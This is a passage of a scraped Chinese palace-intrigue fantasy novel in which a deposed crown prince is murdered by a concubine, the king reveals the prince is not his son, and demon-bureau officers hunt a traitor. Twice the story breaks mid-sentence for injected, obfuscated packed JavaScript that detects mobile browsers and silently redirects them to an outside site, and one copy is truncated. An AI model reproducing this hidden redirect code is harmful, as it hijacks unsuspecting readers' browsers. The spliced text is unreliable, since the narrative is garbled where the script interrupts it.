第二天冷宫就传来宸妃以死谢罪之事,当时这事被宇文渊知道了,他来到凤仪宫与曹氏大闹一场,至今为止十年都没有再踏入凤仪宫一步。 “宇文渊,为了一介区区罪妃,没想到你居然这么对我?” 她冷哼一声,如今回想起此事,心中依旧会隐隐做痛,即使是这么多年过去了,还是无法忘怀。 “你不就是怕我对她的孩子下毒手吗?所以才这么费尽心力的去保护她的孩子。” “我不会让你如愿以偿的。” 38. 真相 “七杀殿少宫主果真说话算话,答应杀死太子,说到做到。”十一鼓掌,满脸喜悦,太子死了,朝堂之上必定会引发动荡,大家都盯着太子之位,自然也就无人再继续关注他,他想做些事情也方便许多。 “太子,死了?”雪微感到些许震惊,但神色依旧淡漠,太子虽然有罪,但罪不致死。 “我没有杀他。” 十一看着雪微,这个女人果真还是手段高明,表面上云淡风轻,一环套一环,环环相扣,让十一都有些自愧不如。 “你确实没有直接杀他,但是作为一个王朝的太子,突然被废,与死无异。” 他继续说道:“你觉得宇文昭被废除了太子之位,他还能活着走出西晋城吗?” “就算他走出了西晋城,可是想他死的人太多了,被废除了太子之位,他又能够活多久?西晋从来没有一位被废了太子之位的皇子能够活下来的先例。” 这人可真有意思,居然特意跑来告诉雪微,宇文昭死了,“他死了就死了,与我又有何关系?” “再说,不是你说的吗?想要太子死,现如今,你又想充当一回好人?” “是,你说得对,太子死了,对我们双方都有利。” 雪微看着此人,总觉得这股气息异常的熟悉,他的背影,身型,还有说话的神态语气都像极了一个人,宇文昌。 “十一,宇文昌?”雪微觉得自己突然有些荒唐,怎么可能把这两个八杆子打不着的人想象成一个人。 雪微看着此人在自己的眼前不断的晃动,心中这种想法反而越来越强烈,仔细一瞧,确实很相像。 宇文昌的目标是王位,太子死了,于他而言是非常有利的。十一呢?他为何非要太子死,如果说是娴妃的指令,那可就太荒诞了,在娴妃的面前,十一这个死士早就死了,他之所以赖在京城肯定是有别的目的。 雪微仔细分析了一番,除非十一就是宇文昌,她与十一宇文昌二人相处了这么久,自认为对这二人是有些了解的,一个人就算再怎么变,但是那些刻在骨子里的习惯终究还是难以改变。 比如十一喝水的时候,小拇指习惯往上翘,而宇文昌喝水的时候,小拇指同样也是往上翘。 十一走路的时候,愤怒的时候喜欢跺脚,宇文昌也是一样,还有他们二人耳垂上面都有一个小洞,这个小洞很细,如果不是仔细去看是不会轻易就发现的。 虽然宇文昌一直带着银色面具,但雪微偶尔之间也会把十一的脸带入宇文昌的脸,“十一就是宇文昌。”雪微心里苦笑道:“在我眼前用两个身份晃悠了这么久,很好玩吗?” 她看着十一,微微一笑,“接下来,会更加好玩。” “你喜欢用两个身份如此戏弄我,那我也不能太不识趣了。”雪微一向是有仇必报,对于不真诚的人,当然也要用同样的方式去加以对待。 “太子死了,接下来你想铲除的人是谁?”雪微率先开口道:“二皇子,又或者是七皇子?” 这个女人居然这么会洞察人心,十一浅浅笑了笑:“难不成,你想帮我?” “不是帮,而是合作。”雪微摇了摇头,“你的目标是王座,而我的目标是王座上的那个人,怎么样,与我合作,你是不会吃亏的。” “而且我还有一个更好的想法。” “是什么?”雪微的话勾起了十一的好奇心,他很想知道这个女人脑子里都是装的些什么东西,既不温柔也不优雅。 “到时候你就会知道了。”雪微对着十一笑了笑,那笑容让十一心底滲得慌。 ...... 陆邈回到镇妖司把这段时间内发生的事情仔细串联了番,先是顾炳春被水鬼拽入水中溺死,然后就是青云道长私下贪取大量金银,最后就是太子被废,这一件件的事情串联起来,像似织了一张大大的网。 冥冥之中,一双无形的手把他推入了这张网中,然后借由他的手把这些事又推到了众人眼前,这个人到底是谁,既然知道了这么多为什么自己不去揭开,偏偏要他来揭开。 陆邈想了许多,把能够想到的人都想了一遍,但还是始终想不通,顾炳春的死看似和此事没有多大关系,但如果他不去调查顾炳春就不会牵扯出来青云道长贪污一事,更加不会查出青云道长与太子勾结,太子也就不会因此被废,温飞的夫人也因此不会致死。 看似无关的事,却环环相扣步步紧逼,如果说这不是背后之人精心策划的,陆邈反而觉得有些不信。 到底是什么人,会精心策划这么大一个局,他的目的到底是什么?难道就是为了废掉太子,让二皇子殿下当上太子之位?所以害死顾炳春的凶手也是这个人吗? 想到自己居然被人玩于鼓掌之中,陆邈突然觉得心惊,太子虽然不算是个合格的储君,但至少性情温和,不似二殿下般傲慢,仗着自己的母后是王后,舅舅是国舅爷,就不把各位大臣放在眼里。 如果真的让二殿下当上了太子之位,朝堂之上怕是又要引起一番动荡了。 “今日早朝,众大臣希望孤立二皇子为太子。”宇文渊眉头紧皱,无奈之下长叹口气,“太子才去世不到一个月,这些人就上赶着推举修儿为太子,他们也太不把孤这个王上看在眼里吧。” 自从太子自缢后,宇文渊瞬间显得苍老了许多,漆黑的发丝上又增添了些许银丝,“孤是不会立修儿为太子的,他生性残暴,性子又随了他母后,实在是不堪匹配。” 陆邈看着眼前的宇文渊,自从他坐上王位开始,生性多疑,二皇子殿下此刻与各位大臣一起迫不及待的逼迫宇文渊重立太子,光就是这一点,就足以让宇文渊怀疑宇文修动机不纯,这已经犯了宇文渊的大忌。 “王上,太子殿下不是自缢的,是被他人勒死,然后伪装成上吊自杀的。” 自从传出太子自缢,陆邈心中充满了疑惑,趁着深夜暗中去查看了一下太子的尸体,结果发现太子死亡的时间与仵作上报的时间不一致,他又前往了太子上吊的第一现场勘查了一番,一切太过于整洁,连挣扎都没有。 一个将死之人,在充满绝望的情形下还能够把现场保持的如此整洁,陆邈始终想不明白,除非太子死的地方与他上吊的地方不是一个地方。 “不是自缢,是他杀?”见多识广的宇文渊诡异的笑道:“孤早就知道了。” “王上早就知道了?”陆邈心里一惊,心想道:“自己的儿子死了,王上居然还笑得出来,看来太子被废一事早就在王上的计划之中了,那么太子之死呢?会不会也是王上计划中的一环?” 陆邈脑中有些凌乱,顾炳春,青云道长,太子等等的事情都串联在他的脑海中,对了,他想起了先前调查青云观暗中贪赃一事,并把这件事告诉了王上,当时他大发雷霆,要求他一定要严查。 难道从那个时候开始,王上就动了废太子的心思,所以他把青云观贪赃一事栽赃到了太子身上? 所以太子的死也是王上预料之中的事,可是王上为什么要做这一切,太子可是他的亲生儿子,王上为什么要杀了他? 陆邈百思不得其解,他始终不明白,都说王上与先王后举案齐眉,二人相敬如宾,先王后仙逝后,王上便把先王后的儿子也就是大皇子封为了太子,可眼下,事实似乎并不像大家说的这般。 陆邈抬眼,目光短暂相对后又迅速的把头微微低了下来,刚才相对的那个眼神吓得陆邈心底十分忐忑不安,愤怒,压抑感瞬间袭上心头。 太子死了,王上不是伤心,反而是厌恶? 原来这么多年,王上对太子的看重只不过是装的。 “陆爱卿是不是觉得很奇怪,孤为什么早就知道却依旧不动声色。”宇文渊声音低沉,透着股浑然天成的威压:“那是因为太子并非孤亲生骨肉。” 哈哈哈哈哈哈哈哈 “太子不是圣上的亲生骨肉?” 这个消息让陆邈感到大为震惊,“王上,你会不会弄错了,太子不是先王后与王上的......” “不会。”宇文渊打断了陆邈的话,怒斥道:“是那个女人先背叛孤的,孤早就知道太子不是孤的亲生骨肉,却依旧把太子养大成人,只可惜,每每见到太子,孤就会想起那个女人的背叛。” “陆邈,你知道吗?孤曾经一度自己欺骗自己,太子就是孤的亲儿子,可是,不是的,假的就是假的,他成不了真。” “所以王上你杀了太子?”陆邈不敢置信,但还是把心中积压已久的话说了出来,就算不是自己的亲骨肉,养了二十多年,怎么样也不至于把他杀死了吧。 “你就当是孤杀的吧。”宇文渊看着陆邈,“太子死了就死了,陆爱卿你就不要再继续追查下去了。” “是。”既然宇文渊都承认了,那陆邈也没有继续追查的理由了,他心中感到有些失望,便早早的退了下去。 诺大的宫殿只剩下宇文渊一个人,不知为何,自从宸儿死后,他常常有这种感觉,感觉身边所有的人都离自己远去了。 难道这就是宸儿留给自己的报应吗? 他没有想过让昭儿死的,只是觉得每日见到他心烦,便想废了他的太子之位,让昭儿远离京城,从今以后再也不能踏入京城一步,可是却没有想到,他居然死了。 三个月前,他的桌上出现了一封书信,说太子宇文昭不是他的亲儿子,当时宇文渊还有些觉得匪夷所思,昭儿怎么可能不是他的亲儿子? 宇文渊回想起与王氏的点点滴滴,当年王氏嫁给他时,他只不过是一个无权无势的王爷,但那个时候王氏早已经有了意中人了。 王氏有一个从小一起长大的青梅竹马,宇文渊此时突然全记了起来,当时王氏为了不嫁给他曾经还一度绝食,是在他的威逼利诱之下,王氏这才放弃了那个青梅竹马的恋人。 后来不到八个月就生下了昭儿,当时宇文渊还一度以为是王氏身子虚弱,因此早产,如今细细想来,原来从那个时候开始,王氏就已经背叛了他。 “不要怪孤,是你先背叛孤的,只要是背叛孤的人,孤都会让他们不得好死。” 宇文渊深吸口气,“王后,宸儿,还有林大哥,孤不想要你们死的,可是为什么,为什么你们要背叛孤,是孤给得不够好吗?” “孤给了你们至高无上的荣耀,你们不感恩戴德也就算了,可是为什么,为什么你们要一个接一个的背叛孤。” 陆邈从宫中回来以后就一直待在房间里待了好久,连萧乘风有事去见他都被他赶了出来,自从温夫人死后,镇妖司就变得死气沉沉的,温飞也经常见不到他人。 萧乘风也想不明白,为何如今大家会变成了这样,温夫人死后温飞变了,陆指挥使从宫里出来以后,也变沉默了许多,大家现如今都变得小心翼翼不敢大声说话。 为什么会这样,究竟发生了什么? ...... “你的夫人没有死。” 雪微写了封信放在温飞的桌上,当日她趁着天黑来到温府, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892860|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主要是想看看温夫人到底是怎么死的,连陆邈都查不出死因,那么有且只有一个可能,也许温夫人是假死。 为了证实这个猜测,雪微仔细查看了一下温夫人的遗体,结果发现她的身体与旁人的身体本质上有着巨大的差别,可以说是,她不是一个完整意义上的人。 再加上她身上若有若无散发出来的百媚香,雪微大概也就明白了,温夫人来自合欢宗。 合欢宗一向以媚为主,他们的祖先是狐族,后来为了融入人群,有些狐族就与人族相结合,所以凡是与人族相结合的狐族身上都会自带一种狐族的气息,那就是百媚香,这些香是从他们出生起就自带的,所以不管使用什么香料都遮掩不住。 他们虽然是人,但是骨子里却拥有狐族的基因,因此身体的构造也与普通人不一样,修炼也要快上许多。 只是让雪微想不通的是温夫人为何会选择温飞,合欢宗的人一向都异常高傲,她们即使选择男人也都是喜欢那种修为强大,以此来壮大自己的种族,可是温夫人却偏偏不一样,选择了一个普普通通的男人,难道是温飞身上有什么东西是温夫人想要的。 现如今温夫人得到了,所以就用假死来脱身。 “到底会是什么东西?”雪微想了想,心生一计,于是便把温夫人假死被合欢宗之人救走的消息告诉了温飞。 “任凭温飞怎么想也想不出他的夫人居然出自合欢宗。” ...... “国师大人想到哪里去?”自从知道太子死了之后,沈雨菲如同断掉了左臂,身后的党羽瞬间溃败,这十几年的筹谋没想到到了最后居然落了个空。 “贵......贵......贵......妃......”国师见到沈雨菲脸色煞白,“娘娘饶命,娘娘饶命......” “饶命?”沈雨菲看着国师这幅狗样就觉得来气,“本宫给你一个机会,只要你说出青云道长人在哪里,本宫就饶了你。” “青云道长?”就知道这东西会给自己惹下大麻烦,国师跪倒在地上,不停的磕头道:“娘娘,娘娘,微臣实在是不知道青云道长在哪里?” “你不知道?”沈雨菲冷哼一声:“你们二人合谋拿了本宫那么多钱财,现如今居然说不知道?” “国师,要不要本宫来提醒提醒你。” 国师感到惊慌失措,“我......是青云道长把钱给卷跑了,微臣实在是不知道啊,请娘娘明鉴。” 这人说十句话有九句都是假的,沈雨菲总算是看明白了,“国师,青云道长不是你的人吗?为什么你要把太子拉入此案之中?” “现如今太子已死,你活着也没什么用了,不如追寻太子而去吧。” “不......我不要......” “娘娘,求求你饶了我一命吧。”国师不断的磕头:“娘娘,只要你饶了我一命,以后我愿意为了你做牛做马,任凭娘娘差遣。” “做牛做马,任凭差遣?”沈雨菲冷笑,这个人狡猾如泥鳅,现在饶了他,以后要是再想抓住他的把柄就会更难,“想要本宫饶了你?” “那你说说,你觉得你对本宫来说,有什么价值吗?没有价值的人,本宫是不会要的。” 国师点头,“微臣知道是谁陷害太子的?” “这还用你说吗?这事本宫早就猜到了,不就是王后和端亲王吗?”沈雨菲拿起桌上的一个红色的瓷瓶,摇晃了下。 “不,可以说不全是。”国师一脸奸笑:“想要太子死的另有其人?” 沈雨菲神色紧张,另有其人,难道他知道些什么? “是王上。” “王上?”沈雨菲呵斥道:“放肆,王上也是你敢非议的吗?” 国师继续说道:“娘娘,是真的,微臣没有理由欺骗娘娘。” “当日,微臣路过文华殿的时候,偶然之间听到了王上与陆大人的谈话,王上亲口承认说是自己杀了太子。” “太子虽然犯了错,但罪不致死,王上为什么要杀了太子呢?国师,你就算撒谎也要说的真实点吧,这样的话让本宫如何相信你呢?”沈雨菲心里一阵鄙夷,这人为了能够活下来可真是什么手段都使用,只是可惜了,偏偏在本宫这里行不通。 你活着对于本宫来说,没有什么意义。她招招手,叫侍卫把此人拖下去。 “太子不是王上的亲骨肉。”国师使劲挣扎着,浑身上下惊出一身冷汗。 “等等。”沈雨菲走到国师身前,弯下腰去,再次问道:“你刚刚说什么,你再说一遍?” “太子不是王上的亲骨肉,王上自始至终都没有想过要让太子成为储君。” “太子,居然不是王上的亲骨肉?”沈雨菲听到这个消息的时候,神色大变,“我处心积虑运筹帷幄十几年,没想到,他居然是个假货。” 国师见沈雨菲终于松口,连滚带爬的爬到沈雨菲身前紧紧的抱住她的左腿,“娘娘,你饶微臣一命,微臣日后一定对您感恩戴德,做牛做马,任凭您差遣。” “牢牢记住你今日说的话,本宫捏死你如同捏死一只蚂蚁。” “宇文昭不是王上的儿子,宇文昭不是王上的儿子......” 沈雨菲狂笑,愤怒之下,掀翻了桌子,药丸滚落满地。 “这么多年,没想到到头来,终究是我错付了,我居然被一个假货忽悠了十几年。” “什么太子,简直就是狗屁,到头来,还不是落得什么都没有。” 39. 背叛 眼下王上既然说了太子是他杀的,刚好给了沈雨菲一点喘息的机会,她正愁如何摆脱这一切。 “宇文昭,你就安息的离开吧,带着所有的秘密永远的离开,永远不要再出现再我的眼前。” 自从宇文昭被废之后,沈雨菲每日都殚精竭虑,生怕宇文昭顶不住压力供出自己,现如今,所有与此事相关的人都死了,只有死人才会带着真相永埋地下。 “菲儿,父王把我废了,你得救救我,我只有你了。”宇文昭紧紧的抱住沈雨菲,就像抱住救命稻草般,“你得救救我,如果你不救我,我就拉着你一起下地狱。” 他威胁道:“你是我的女人,活着的时候是,死了也只会是我宇文昭的鬼,我不忍心把你一个人留在这个世上。” “好,我们一起离开。”沈雨菲伪笑,端起一杯酒,递给宇文昭,“喝了它,我们一起离开这里,找一个没有人认识我们的地方,重新生活。” 宇文昭看了看酒杯里的酒,最后看了眼沈雨菲,便一口喝了下去。 “你......你在酒里下药......” “为什么......究竟是为了什么?”他一阵头晕目眩,身子摇摇晃晃有些站不稳。 “你不是说要和我一起离开这里,找个没有人认识我们的地方,重新生活吗?你说的这些话,难道都是骗我的?” 他看着沈雨菲,眼神之中充满了绝望。 “是,我是骗你的,我根本就从来都没有爱过你,我爱的自始至终只有无上的权力,你既然给不了我想要的,就不应该成为我的阻碍。” 沈雨菲把宇文昭用力推到倒地,面目狰狞的说道:“只要你死了,我就没有了后患。” “宇文昭,你被废了,你知道吗?你已经成为了一个废物了。” “没有价值的人就应该去死。” “你......你难道对我没有一点感情吗?”宇文昭心痛难受,如同烈火灼烧,“菲儿,在这个世上,只有我,只有我是爱你的。” “爱我?” 沈雨菲拿起一条白绫眼神空洞的朝着宇文昭走来,“既然你爱我,那就为我去死吧。” “你不能这么对我。” “去死......去死......去死......” 沈雨菲拿起白绫缠住了宇文昭的脖子,看着他在自己的手中拼命的挣扎的那种感觉,沈雨菲忽然感到畅快,眼下知道我秘密的人一个接一个的死了,就还剩下一个人了,宇文婵,该轮到你了。 只要你死了,天底下就没有人知道我是谁了。 她看着宇文昭一动不动的躯体,眼眶居然泛红,“不要怪我,要怪只能怪你自己,你知道太多了,我不能让你抓着我的把柄,离开京城。” 每每想起那晚宇文昭在自己的手中挣扎着死去,沈雨菲夜间都会被噩梦惊醒,她想起了二人之间的点点滴滴,不知怎么的,居然会觉得心痛。 “爱情,对我来说,不值一提。” “我走了这么久才爬到这个位置,宇文昭,只能对不起你了。” “你为什么不是圣上的亲儿子,你如果要是圣上的亲儿子也许圣上不会想心思废了你,这样我们也许还有未来。” 她言语之间有些哽咽道:“为什么,老天为什么要这么对我,是你们,是你们把我逼成了一个恶人。” 她抱头:“我不想这样的,我不想这样的,可是你们为什么都要来逼我。” “林雪微是这样,你也是这样,是你们对不起我在先的。” “对,是你们逼我的。” “都是你们的错。” “娘娘,你怎么了?”琴心见屋内有动静,缓步走了进来,便看到沈雨菲抱着头,浑身发着冷汗。 啊...... “林雪微?” 滚......滚......滚远点...... 她发疯似的,拿起剪刀对着眼前林雪微的幻影刺去。 “活着的时候都斗不过我,死了,还想缠着我,做梦。” “菲儿,我死得好惨啊,菲儿,我这么爱你,你为什么要杀了我?” 看着林雪微的幻影突然变成了宇文昭,沈雨菲变得更加的疯癫。 “爱,你懂什么是爱吗?你的爱对我来说,一文不值。” 啊...... 她头疼欲裂,身子恍惚,抱着头。 “滚......你们都给我滚......” 时间一秒一秒的过着,不知过了多久,沈雨菲睁开双眼皮,“我这是怎么了?” “头好疼。” 她用右手摸着头,看着一旁的琴心问道:“小桃呢?平日里都是小桃伺候的,你是谁,你怎么会在这里?” “娘娘,奴婢叫琴心,是最近新进宫的宫女,刚来重华宫。”琴心行礼,“小桃姐姐今日休假,出宫去探望家人去了。” “对,我差点把这事给忘了。”她摸了摸额头,一脸惊慌,“本宫这是怎么了,怎么浑身瘫软无力,一点力气都没有。” 琴心轻声细语道:“娘娘昨日夜间感染风寒,烧了整整一晚上,自然会感到浑身无力。” “原来如此,难怪本宫今早会感到身子无力。”她看着琴心,“辛苦你了,你先下去吧,本宫想一个人静一静。” “是。” 昨晚到底发生了什么,沈雨菲努力回想,但是一点用都没有,什么都想不起来,她好像记得自己看见了林雪微,还有宇文昭? “不......这不可能,林雪微已经掉下悬崖摔死了,宇文昭也已经死了,他们是绝不可能出现在她的面前的。” “难道是我又做噩梦了吗?” 最近做噩梦越来越频繁,看来和宇文昭的死有关,不过好在,宇文昭之死王上已经交代了不用再继续追查下去,真是天助我也,连老天爷都在帮我。 “既然太子死了,那我就在培养一个太子,到时候我还可以做太后。” 王上最爱的人一直都是宸妃,虽然王上不说,但是后宫中的妃子们谁不知道呢?沈雨菲就是因为自己与宸妃有三分相似,所以才会被王上封为贵妃。 在有一晚侍寝的时候,她亲耳听见王上在睡梦之中不断的喊着宸妃的名字,如今她再仔细想了想,分析了一番,太子被废,眼下看上去二皇子最有可能当上太子,但是王上却十分讨厌王后,因此是不会封二皇子为太子的。 再就是七皇子,不过他远在漠北,但还有一个人那就是十三皇子,虽然他还未成年,但他可是王上最爱之人生下的儿子,是有极大可能成为太子的。 十三皇子母妃早已经问罪自杀了,如果我向王上把十三皇子要过来,放在我宫里抚养,以后他要是坐上了王位,那我岂不是就成为了太后? 沈雨菲想到此处,心里就觉得兴奋了不少,“一个无权无势又没人撑腰的的小皇子,如果我成为了他的母妃,那以后他岂不是要对我感恩戴德?” “看来上天待我不薄。” 如果让二皇子坐上了王位,王后成为了太后,那么这后宫之中怎么可能还有本宫的位置,王后那么讨厌本宫,如今本宫势微,这一切不正是王后所希望看到的吗? 所以本宫绝不可能让二皇子坐上王位,本宫要自己亲自培养一个皇子坐上王位,王后你就给本宫等着吧。 ...... 京城西郊一带最近死了两个过路的村民,那两个村民死者的模样和先前被吸干鲜血而死的二十多位死者情况一模一样,今早被传开之后,京城之中又闹的人心惶惶,才过半年,又出现了同样的情况,可见京城之中还有别的蛊人的存在。 一大早天还未亮,镇妖司就变得忙忙碌碌,现如今同样的事情接二连三的发生,百姓们引发微议,上报要镇妖司进行严查。 陆邈来到地牢,一切如同往常,叶宏被关在地牢之中,没有了鲜血的滋养形如枯槁,骨瘦如柴,这哪里还有半分叶大公子的模样。 “叶肃,你到底躲到哪里去了。” 自从陆邈上奏王上说京城发生蛊人吸血一事与叶府的叶大公子叶宏有关,王上就下令进行严查,因此叶宏被抓,叶府其余之人也被圈禁起来,但后来进行严查,却发现叶肃居然是叶府的管家假扮的。 真正的叶肃不知道去了哪里? 陆邈曾对叶府其他人进行盘问,但他们都不知道叶肃的行踪,因此只能把叶府众人关进大牢,这一关,居然过了半年之久。 这半年,陆邈对叶宏进行严加拷问,使用了各种刑法这才从叶宏的口中翘出,原来这一切都是叶肃的阴谋,他暗中私下培养蛊人,就是为了颠覆西晋,扰乱朝纲。 叶肃自出生就是蛊人,为了摆脱蛊人的身份,便和叶宏进行了换血,陆邈听到这一切为之惊讶,为了自己居然能够牺牲了自己的亲儿子,还把自己的亲儿子炼制成为蛊人,这简直是匪夷所思。 后来陆邈在桌上发现一封信件,信件上面写着叶肃在凌月峰培养蛊人,数量庞大,但等到陆邈前去之后居然发现叶肃跑了。 如今仔细回想起来,叶肃信息如此准确,跑得如此之快,背后肯定有协助之人,而且这个人应该就藏在镇妖司内部,陆邈一直在暗中暗自观察,最近终于发现了此人的动静。 “谢信,我思来想去,没有想到给叶肃通信之人居然是你。”陆邈心情沉重,谢信来镇妖司快七年,平日里一向是兢兢业业,对待同伴也是极其友好,他这么做到底是为了什么,陆邈实在是想不通。 “难道是他有什么把柄让叶肃抓住了?” “大人,没想到我这么谨小慎微居然还是被你发现了。”谢信笑了笑,“我就知道迟早会有这么一天的。” “不过我不后悔。” “不后悔......”陆邈笑了笑,很早之前他就知道这个暗藏在镇妖司给叶肃通风报信的人有很大的可能是谢信,所以这段时间以来,他装作什么都不知道的样子,就是为了等这一天,让他自己往下跳。 他果然和自己想的一样,明知道是个局,可还是来了。 “把他们都抓起来。” “是。” “不要过来。”谢信举着火把威胁道:“你们要是再继续往前走,我就点燃炸药,炸光这里。” “大人,你们抓不到叶肃的,不要为了一个人牺牲了大家伙的性命。”谢信看着陆邈,眼神之中透着些许无奈,“你们还是赶紧离开吧。” “为什么,你为什么要这么做?”萧乘风不明白,心里有许多问题想问他,谢信在司内对他一直都很照顾,像个大哥哥一样,可是如今却成为了自己的敌人,萧乘风从来没有想过自己有一天会面临这种情况。 “对不起,我也是没有办法,我的家人都在叶肃的手中,如果我不听从叶肃的指令,他会杀了我的家人的。” “对不起,我不能让你们抓了他们。” 谢信拿起火把朝着自己身体上的炸药点了去。 “不要......” 萧乘风还未说出口,就被陆邈拉了出去,紧接着,整座破庙被炸得轰塌。 “谢大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧乘风回到家里左思右想了一天,他知道陆邈利用他是为了抓叶肃,但让他没有想到的是最后叶肃没有抓到,却害了谢大哥,抓叶肃就抓叶肃,为什么要让谢大哥死。 他心里对谢信的死始终无法忘怀。 “陆指挥使已经和我说了,乘风,你已经长大了,总有一天你要明白,谢信的死是他自己的选择,没有任何人想要他死,是他自己选择了死。”萧平拍了拍萧乘风的肩膀,再次说道:“你不要责怪自己,这不是你的错。” “不是这样的,爹。”萧乘风解释道:“是我们逼迫谢大哥,谢大哥迫不得已才选择炸死自己的。” “是我们,是我害死谢大哥的。”他看着自己的双手,觉得十分害怕,他从未杀过任何人,没想到到头来,他的手上也染满了鲜血。 “孩子,你要明白你的职责是守卫京城百姓的安危,谢信协助叶肃逃跑,你知道这意味着什么吗?”萧平无奈的叹了声:“是我们把你保护的太好了,让你居然善恶不分。” “可是他对我很好,就像大哥哥一样。” 萧乘风心里虽然知道陆邈这么做是对的,但是却无法理解陆邈为什么在利用自己之前不事先告诉自己,让自己傻乎乎的就这样被他利用,然后借由自己的手杀了谢信。 他是什么时候就知道谢信给叶肃通风报信? “爹,你放心吧,孩儿明白,还没有糊涂到如此地步。” “你明白就好。”萧平无奈的摇了摇头,叹了口气便离开了。 次日清晨,萧乘风一大早便来到镇妖司,他知道站在陆邈的立场上他并没有做错什么,但是自己内心就是很不悦,“陆大指挥使,你是不是早就知道了给叶肃通风报信的人是谢信。” “是。”陆邈点头。 “你......”让萧乘风气愤的是陆邈明知道谢信就是奸细为什么还要瞒着他,不告诉他,“你为什么不提前告诉我,让我好心里有个准备。” “告诉你。”陆邈摸了摸鼻头,笑道:“我要是告诉你了,大家不都知道了吗?” “你这个人能够藏得住事吗?谢信此人在镇妖司待了七年我都没有看透过他,更何况是你。” “你......”萧乘风道:“你少瞧不起人。” 陆邈解释道:“我可不是瞧不起人,是你经历太少,你要是像温飞一样,我也就不用这么发愁了。” “哼,那你去找你的温飞去吧,别再来找我。” “看吧,我还没说你几句,你就翘辫子了。” 说起温飞,陆邈突然觉得这段时间都没有见到温飞的身影,按道理来说,他的休假时间早就已经过了,怎么还没有来司里报道? “你最近有见到温飞的人吗?”陆邈看着萧乘风问道。 “温飞?”萧乘风也觉得可疑,往日温飞一向是喜欢凑热闹的性子,怎么如今司内发生这么大的事,他居然不在?难道温夫人去世了,他的性子也跟着变了? 萧乘风说道:“昨日我还见到过他,但最近不知怎么的总觉得他早出晚归的,行事让人感到琢磨不透。” “你也是这么觉得的?”陆邈试探性问了问萧乘风,看来他的直觉没有错,温飞心里肯定是藏着什么事。 “恩。”萧乘风总有一种不好的预感,“温大哥不会......”他刚经历了一场背叛,可不想再来一场,温飞,你可不要像谢大哥一样啊。 “今日之事,你知我知,不要告诉任何人,萧乘风,你知道了吗?”陆邈语重心长的说道,他知道这同时也是对萧乘风的一场考验。 萧乘风点头,事有轻重,他自然是明白的,如果温飞真的做了对不起同伴的事,我绝不会姑息。 40. 假死 “父王,你为什么这么对我?”宇文昭看着眼前的宇文渊觉得如此的陌生,他还是以往那个慈祥的父亲吗?一夜之间简直就换了一副嘴脸,变得似乎从来都不曾认识过他。 “为什么?”这个儿子是他一手看着长大的,念在筝儿辛苦陪他从一个无权无势的王爷到如今的帝王,宇文渊的心中对筝儿一直是很感激不尽的,除了王氏一族愿意支持他以外,没有任何一族愿意看好他。 爱屋及乌,对筝儿对昭儿他自认为还算不错,甚至太子这么重要的储君之位也给了昭儿,可是为什么,为什么昭儿不是他的儿子。 “因为你是一个假货。” “假货?”宇文昭一脸懵逼,“父王,你说这话是什么意思?” “你,宇文昭,不是孤的儿子,明白吗?你是一个假货。”宇文渊一字一句的说道,眼神之中流露出一股厌恶之情。 “这不可能,父王,你养育了儿臣二十多年,怎么才发现,一定是有人做局陷害儿臣,父王,你不要被别人欺骗了。”宇文昭一脸不可置信,难怪这段时间以来父王对待自己大不如前,原来是有人暗中陷害自己,在父王面前挑拨离间。 “这不可能,父王,你一定是弄错了,你养育我二十几年,我怎么可能不是您的亲儿子呢?” “弄错?”宇文渊自嘲道:“孤已经查了个明明白白,怎么可能弄错呢?” “到底是谁,到底是谁如此的陷害我?”宇文昭自知父王对自己已经信任全无,眼下自己又深陷青云观一案,这下子自己的太子之位算是彻底到头了。 这不就是背后之人想要的吗?把我拉下太子之位,然后让自己的儿子坐上太子之位,曹氏,你这一招一石二鸟,真是好计策。 “父王,这一定是曹王后与二弟的计谋,他们想陷害儿臣所以凭空捏造说儿臣不是父王的亲儿子,一定是这样,父王,你肯定是被他们这对母子蒙骗了。” “把他拉下去吧。”宇文渊嫌弃的最后看了一眼宇文昭,筝儿,没想到你真的好狠的心啊,让孤养育你们的儿子二十多年,这就是你对孤的报复吗? “父王,我是被人陷害的......”宇文昭的叫喊声回荡在诺大的宫殿中,让宇文渊听着就觉得心烦。 想起当年筝儿差点和那个男人一走了之,宇文渊心底一股子恼火,为了报复筝儿,他暗中阻拦了他们的相见,并派杀手杀了那个男人,还给筝儿下了迷魂香,并与筝儿春风一夜,从而逼迫筝儿怀上了他的孩子并嫁给他。 没想到...... “筝儿,当年孤是迫不得已的,如果没有你们王氏一族的支持,孤也许都走不到今日,就是因为孤念旧,所以才封了昭儿为太子,可是令孤没有想到的是,筝儿,你居然还是和那个男人生下了儿子。” 这一切都是报应,哈哈哈哈哈...... “你是在报复孤,对吧?” “孤会让你知道什么才叫是真正的报应,筝儿你死了,可是你的儿子还活着,孤会亲自惩罚你的儿子,让他此生都背负着你们的罪孽而活得生不如死。” “把太子幽禁太子府,没有孤的旨意,不让任何人探视。” “是。” 太子府邸,宇文昭蜷缩在一个角落,今日大殿之中发生的事还历历在目,父王的厌恶之情他从始至终都看在眼底,“父王,你为什么要这么对我?” “母后,我真的不是父王的儿子吗?” “为什么,为什么会是这样,我怎么可能不是父王的儿子呢?一定是曹氏在背后使计陷害我,一定是这样的。” 昨日还是高高在上的太子,今日却沦落为阶下囚,太子府里的仆人们见状,都趁机溜走了,留下的除了看守以外,再就是故意在宇文昭眼前来耀武扬威。 “太子贪赃枉法与青云道长勾结,私下收刮大量金银,被废除了太子之位。” 哈哈哈哈哈...... 马梁大笑,朝着宇文昭踹上一脚:“太子......太子......” “就你这模样还想吃饭?”他一脚踢翻地上的饭盒,然后使劲拉扯宇文昭的头发并把他的头颅按在地上:“吃吃吃,我让你吃。” “好吃吗?太子......” 